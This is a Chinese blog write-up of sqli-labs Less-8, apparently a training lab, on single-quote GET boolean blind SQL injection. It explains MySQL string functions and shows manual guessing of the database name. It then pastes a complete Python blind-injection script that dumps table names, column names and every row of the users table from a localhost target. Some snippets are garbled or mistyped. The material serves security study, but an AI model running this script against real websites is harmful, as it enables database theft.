云之飞踢 2019-12-18
第八关:单引号GET盲注
前言:感冒了很有以后摸到靶场,如若隔世....我的天,说不定又有同学要去实习了,再看看我。啧啧啧,神的飞起来。。
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
0x01 判断
加引号与否、加and或者or,都没有显示,判断这是盲注。
1.首先select查询:
ascii(substr(select(database(),1,1)))#substr是截断函数,选择数据库的第一位,截断一位;返回数据库名称的第一个字母,转化为ascii码if(ascii(substr(select(databse(),1,1)>64,1,0))#判断第一个字母的ASCII是不是小于64(小于A)
https://www.cnblogs.com/dshore123/p/7805050.html
substr(string,int a,int b) 截取字符串string从第a个字符开始、截取b个字符,然后返回值输出。(这个返回的是那个呢?应该不是a或者b吧,返回给内存然后存起?)
然后我这里 ,刚开始的时侯,测试是否为盲注的时候,加引号或者不加引号得出的都是返回正确:you are in...
看一下源码:
显示:正确的话(1),则返回you are in... 如果返回错误(0)的话,如果是语法报错就会显示具体的语法错误,如果是数据错误那应该什么都不会显示。
0x02 爆数据库名字
1.源码告诉我们,对的会显示,错的如果是语法错误会提示、如果是数值错误则不会提示。所以接下来我们需要一步一步手工试,试出正确的截断ASCII码,这样能得出数据库的第一个字,然后的出
通过截断第二个字符,得出‘e’.
比如这个。。。第一个字符,他大于115以后就报错了,114就不报错,115=s(记住,从第一位加起的,就算最后结果+1,所以是115,去“s”)
substr从第0/1字符开始,都是代表第一位开始。
所以我数据库的名字的第二个字符就是“e”
然后这样推算下去。。。。
得出数据库:security
0x03 使用脚本暴表名、列名
当然,这个脚本也是copy组长的。。。我运行一下。。。。
import urllib2 import urllib success_str = "You are in" getTable = "users" index = "0" url = "http://localhost/sql1/Less-8/?id=1" database = "database()" selectDB = "select database()" selectTable = "select table_name from information_schema.tables where table_schema=‘%s‘ limit %d,1" asciiPayload = "‘ and ascii(substr((%s),%d,1))>=%d #" lengthPayload = "‘ and length(%s)>=%d #" selectTableCountPayload = "‘and (select count(table_name) from information_schema.tables where table_schema=‘%s‘)>=%d #" selectTableNameLengthPayloadfront = "‘and (select length(table_name) from information_schema.tables where table_schema=‘%s‘ limit " selectTableNameLengthPayloadbehind = ",1)>=%d #" # 发送请求,根据页面的返回的判断长度的猜测结果 # string:猜测的字符串 payload:使用的payload length:猜测的长度 def getLengthResult(payload, string, length): finalUrl = url + urllib.quote(payload % (string, length)) res = urllib2.urlopen(finalUrl) if success_str in res.read(): return True else: return False # 发送请求,根据页面的返回的判断猜测的字符是否正确 # payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii def getResult(payload, string, pos, ascii): finalUrl = url + urllib.quote(payload % (string, pos, ascii)) res = urllib2.urlopen(finalUrl) if success_str in res.read(): return True else: return False # 注入 def inject(): # 猜数据库长度 lengthOfDBName = getLengthOfString(lengthPayload, database) print ("length of DBname: " + str(lengthOfDBName)) # 获取数据库名称 DBname = getName(asciiPayload, selectDB, lengthOfDBName) print ("current database:" + DBname) # 获取数据库中的表的个数 # print selectTableCountPayload tableCount = getLengthOfString(selectTableCountPayload, DBname) print ("count of talbe:" + str(tableCount)) # 获取数据库中的表 for i in xrange(0,tableCount): # 第几个表 num = str(i) # 获取当前这个表的长度 selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname) print ("current table length:" + str(tableNameLength)) # 获取当前这个表的名字 selectTableName = selectTable%(DBname, i) tableName = getName(asciiPayload, selectTableName ,tableNameLength) print (tableName) selectColumnCountPayload = "‘and (select count(column_name) from information_schema.columns where table_schema=‘"+ DBname +"‘ and table_name=‘%s‘)>=%d #" # print selectColumnCountPayload # 获取指定表的列的数量 columnCount = getLengthOfString(selectColumnCountPayload, getTable) print ("table:" + getTable + " --count of column:" + str(columnCount)) # 获取该表有多少行数据 dataCountPayload = "‘and (select count(*) from %s)>=%d #" dataCount = getLengthOfString(dataCountPayload, getTable) print ("table:" + getTable + " --count of data: " + str(dataCount)) data = [] # 获取指定表中的列 for i in xrange(0,columnCount): # 获取该列名字长度 selectColumnNameLengthPayload = "‘and (select length(column_name) from information_schema.columns where table_schema=‘"+ DBname +"‘ and table_name=‘%s‘ limit "+ str(i) +",1)>=%d #" # print selectColumnNameLengthPayload columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable) print ("current column length:" + str(columnNameLength)) # 获取该列的名字 selectColumn = "select column_name from information_schema.columns where table_schema=‘"+ DBname +"‘ and table_name=‘%s‘ limit %d,1" selectColumnName = selectColumn%(getTable, i) # print selectColumnName columnName = getName(asciiPayload, selectColumnName ,columnNameLength) print (columnName) tmpData = [] tmpData.append(columnName) # 获取该表的数据 for j in xrange(0,dataCount): columnDataLengthPayload = "‘and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #" # print columnDataLengthPayload columnDataLength = getLengthOfString(columnDataLengthPayload, getTable) # print columnDataLength selectData = "select " + columnName + " from users limit " + str(j) + ",1" columnData = getName(asciiPayload, selectData, columnDataLength) # print columnData tmpData.append(columnData) data.append(tmpData) # print data # 格式化输出数据 # 输出列名 tmp = "" for i in xrange(0,len(data)): tmp += data[i][0] + " " print (tmp) # 输出具体数据 for j in xrange(1,dataCount+1): tmp = "" for i in xrange(0,len(data)): tmp += data[i][j] + " " print (tmp) # 获取字符串的长度 def getLengthOfString(payload, string): # 猜长度 lengthLeft = 0 lengthRigth = 0 guess = 10 # 确定长度上限,每次增加5 while 1: # 如果长度大于guess if getLengthResult(payload, string, guess) == True: # 猜测值增加5 guess = guess + 5 else: lengthRigth = guess break # print "lengthRigth: " + str(lengthRigth) # 二分法查长度 mid = (lengthLeft + lengthRigth) / 2 while lengthLeft < lengthRigth - 1: # 如果长度大于等于mid if getLengthResult(payload, string, mid) == True: # 更新长度的左边界为mid lengthLeft = mid else: # 否则就是长度小于mid # 更新长度的右边界为mid lengthRigth = mid # 更新中值 mid = (lengthLeft + lengthRigth) / 2 # print lengthLeft, lengthRigth # 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid # 所以长度区间:大于等于 lengthLeft,小于lengthRigth # 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度 # 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8 return lengthLeft # 获取名称 def getName(payload, string, lengthOfString): # 32是空格,是第一个可显示的字符,127是delete,最后一个字符 tmp = ‘‘ for i in xrange(1,lengthOfString+1): left = 32 right = 127 mid = (left + right) / 2 while left < right - 1: # 如果该字符串的第i个字符的ascii码大于等于mid if getResult(payload, string, i, mid) == True: # 则更新左边界 left = mid mid = (left + right) / 2 else: # 否则该字符串的第i个字符的ascii码小于mid # 则更新右边界 right = mid # 更新中值 mid = (left + right) / 2 tmp += chr(left) # print tmp return tmp def main(): inject() main()
运行结果嘛。。明天继续改bug...我的urllib3啊啊啊